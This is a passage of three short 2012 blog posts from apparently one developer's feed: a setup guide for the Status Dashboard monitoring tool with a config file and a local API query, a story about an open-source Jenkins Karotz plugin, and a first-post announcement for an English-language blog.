<p>Good news! I found a nice project: <a href="https://github.com/obazoud/statusdashboard">Status
Dashboard</a> created by Olivier
Bazoud. This project is simple to configure, you can use provided plugins
(Twitter, IRC bot, History, ā¦) or add your owns, and you can monitor various
services (not only HTTP). If you donāt want to use the beautiful interface, then
youāll find a REST API as well.</p>
<p><img src="/images/posts/2012/01/statusdashboard.webp" alt="A screenshot of the Services Status Dashboard application" /></p>
<h3 id="installation">Installation</h3>
<p>Run <code class="language-plaintext highlighter-rouge">npm install</code> to setup the project and its dependencies, then add your own
configuration in <code class="language-plaintext highlighter-rouge">settings.js</code>. Mine is:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ...</span>
<span class="nx">settings</span><span class="p">[</span><span class="dl">"</span><span class="s2">william</span><span class="dl">"</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">services</span><span class="p">:</span> <span class="p">[</span>
<span class="p">{</span>
<span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">williamdurand.fr</span><span class="dl">"</span><span class="p">,</span>
<span class="na">label</span><span class="p">:</span> <span class="dl">"</span><span class="s2">William Durand (blog)</span><span class="dl">"</span><span class="p">,</span>
<span class="na">check</span><span class="p">:</span> <span class="dl">"</span><span class="s2">http</span><span class="dl">"</span><span class="p">,</span>
<span class="na">host</span><span class="p">:</span> <span class="dl">"</span><span class="s2">williamdurand.fr</span><span class="dl">"</span><span class="p">,</span>
<span class="na">port</span><span class="p">:</span> <span class="dl">"</span><span class="s2">80</span><span class="dl">"</span><span class="p">,</span>
<span class="na">path</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">,</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
<span class="na">Host</span><span class="p">:</span> <span class="dl">"</span><span class="s2">williamdurand.fr</span><span class="dl">"</span><span class="p">,</span>
<span class="p">},</span>
<span class="p">},</span>
<span class="p">],</span>
<span class="na">plugins</span><span class="p">:</span> <span class="p">{</span>
<span class="na">history</span><span class="p">:</span> <span class="p">{</span>
<span class="na">enable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">host</span><span class="p">:</span> <span class="dl">"</span><span class="s2">127.0.0.1</span><span class="dl">"</span><span class="p">,</span>
<span class="na">port</span><span class="p">:</span> <span class="mi">6379</span><span class="p">,</span>
<span class="na">namespace</span><span class="p">:</span> <span class="dl">"</span><span class="s2">statusdashboard</span><span class="dl">"</span><span class="p">,</span>
<span class="na">options</span><span class="p">:</span> <span class="p">{},</span>
<span class="na">client</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="p">},</span>
<span class="p">},</span>
<span class="p">};</span>
</code></pre></div></div>
<p>Then, start the server:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>node server.js
</code></pre></div></div>
<p>Check the server is running by browsing <em>http://127.0.0.1:8080/</em> or by querying
the API:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> curl http://127.0.0.1:8080/api/services
{"lastupdate":"Mon, 16 Jan 2012 13:29:11 GMT","services":[{"name":"williamdurand.fr","label":"William Durand (blog)","status":"up","statusCode":200,"message":""}],"summarize":{"lastupdate":"Mon, 16 Jan 2012 13:29:11 GMT","up":1,"critical":0,"down":0,"unknown":0}}
</code></pre></div></div>
<p>The project is available at:
<a href="https://github.com/obazoud/statusdashboard">https://github.com/obazoud/statusdashboard</a>.</p>
Did I tell you open source was awesome?2012-01-16T00:00:00+00:00https://williamdurand.fr/2012/01/16/did-i-tell-you-open-source-was-awesome<p>A few months ago, my father offered me a Karotz (the new Nabaztag) for my
birthday. At the same time, I started to learn how to write a
<a href="https://jenkins-ci.org/">Jenkins</a> plugin, and I knew this kind of rabbit could
be programmed. Thatās why I decided to write a
<a href="https://github.com/willdurand/Karotz-Plugin">Karotz-Plugin</a>.</p>
<p>As an Open Source Software enthusiast, I published my code on GitHub right at
the beginning. The plugin was in a work in progress state but quite usable.
Unfortunately, I was unable to improve it for weeks after the initial
publication.</p>
<p>When I got some free time to work on it, I saw my repository had been forked.
Surprise! Someone improved my work and published it as an <a href="https://wiki.jenkins-ci.org/display/JENKINS/Karotz+Plugin">official Jenkins
Plugin</a>. Wonderful!</p>
<p>I pulled the repository, and learned a lot from the developer who worked on the
plugin. Isnāt that awesome? First, my code has been reused. Second, I learned
new things. Oh, and I got an awesome plugin for Jenkins and my Karotz! š</p>
<p>To summarize, it sounds like a really good idea to <a href="https://tom.preston-werner.com/2011/11/22/open-source-everything.html">open source
everything</a>,
even if itās a draft/work in progress or even an idea. Someone could find this
idea quite amazing and could contribute to it. Thanks to <a href="https://www.github.com">GitHub</a>, open
sourcing something is really really easy these days :)</p>
Hello, World!2012-01-15T00:00:00+00:00https://williamdurand.fr/2012/01/15/hello-world<p>Hi folks!</p>
<p>A few months ago, I decided to abandon my first blog at <em>www.willdurand.fr</em>.
Writing in French was great but writing in English sounds like a better
challenge.</p>
<p>Thatās why Iām starting this new blog, in English (as well-written as possible),
powered by <a href="https://github.com/mojombo/jekyll">Jekyll</a>, <a href="http://html5boilerplate.com/">HTML5
Boilerplate</a>, and hosted on
<a href="http://www.github.com">GitHub</a>.</p>
<p>Youāll get the code by browsing the following repository:
<a href="https://github.com/willdurand/willdurand.github.com">willdurand.github.com</a>.</p>
<p>William</p>